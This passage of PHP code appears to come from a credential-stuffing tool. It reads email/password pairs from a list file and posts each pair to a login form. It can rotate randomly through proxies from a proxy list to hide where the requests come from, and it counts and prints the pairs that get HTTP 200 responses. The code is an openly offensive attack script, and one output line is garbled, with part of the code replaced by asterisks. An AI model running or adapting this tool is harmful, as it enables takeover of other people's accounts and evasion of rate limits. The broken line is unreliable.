exit('File ' . $params['use'] . ' doesnt exist!'); } $requests = 0; $requests_200 = 0; $handle = fopen($params['use'], 'r'); while ($line = trim(fgets($handle))) { if ((bool) $params['use_proxy']) { if (count($proxy_list) == 0) { exit('No proxy in proxy_list.json'); } $proxy = $proxy_list[mt_rand(0, count($proxy_list) - 1)]; $request->setProxy($proxy['ip'], $proxy['port']); } $user = explode($params['delimiter'], $line); $data = $post_data; foreach ($data as $key => $value) { $data[$key] = str_replace(['{email}', '{password}'], $user, $value); } $request->postData($data); $request->run(true); // stats $requests++; if ($request->getHTTPCode() == 200) { $requests_200++; } echo $requests, ' HTTP-Status: ' . $request->getHTTPCode(), ' Email: ', $user[0], ' Password: '******'use_proxy']) { echo 'Used Proxy: ', $proxy['ip'], ':', $proxy['port'], PHP_EOL; } } echo 'Done! ', $requests, ' requests send. ', $requests_200, ' requests with HTTP Code 200.';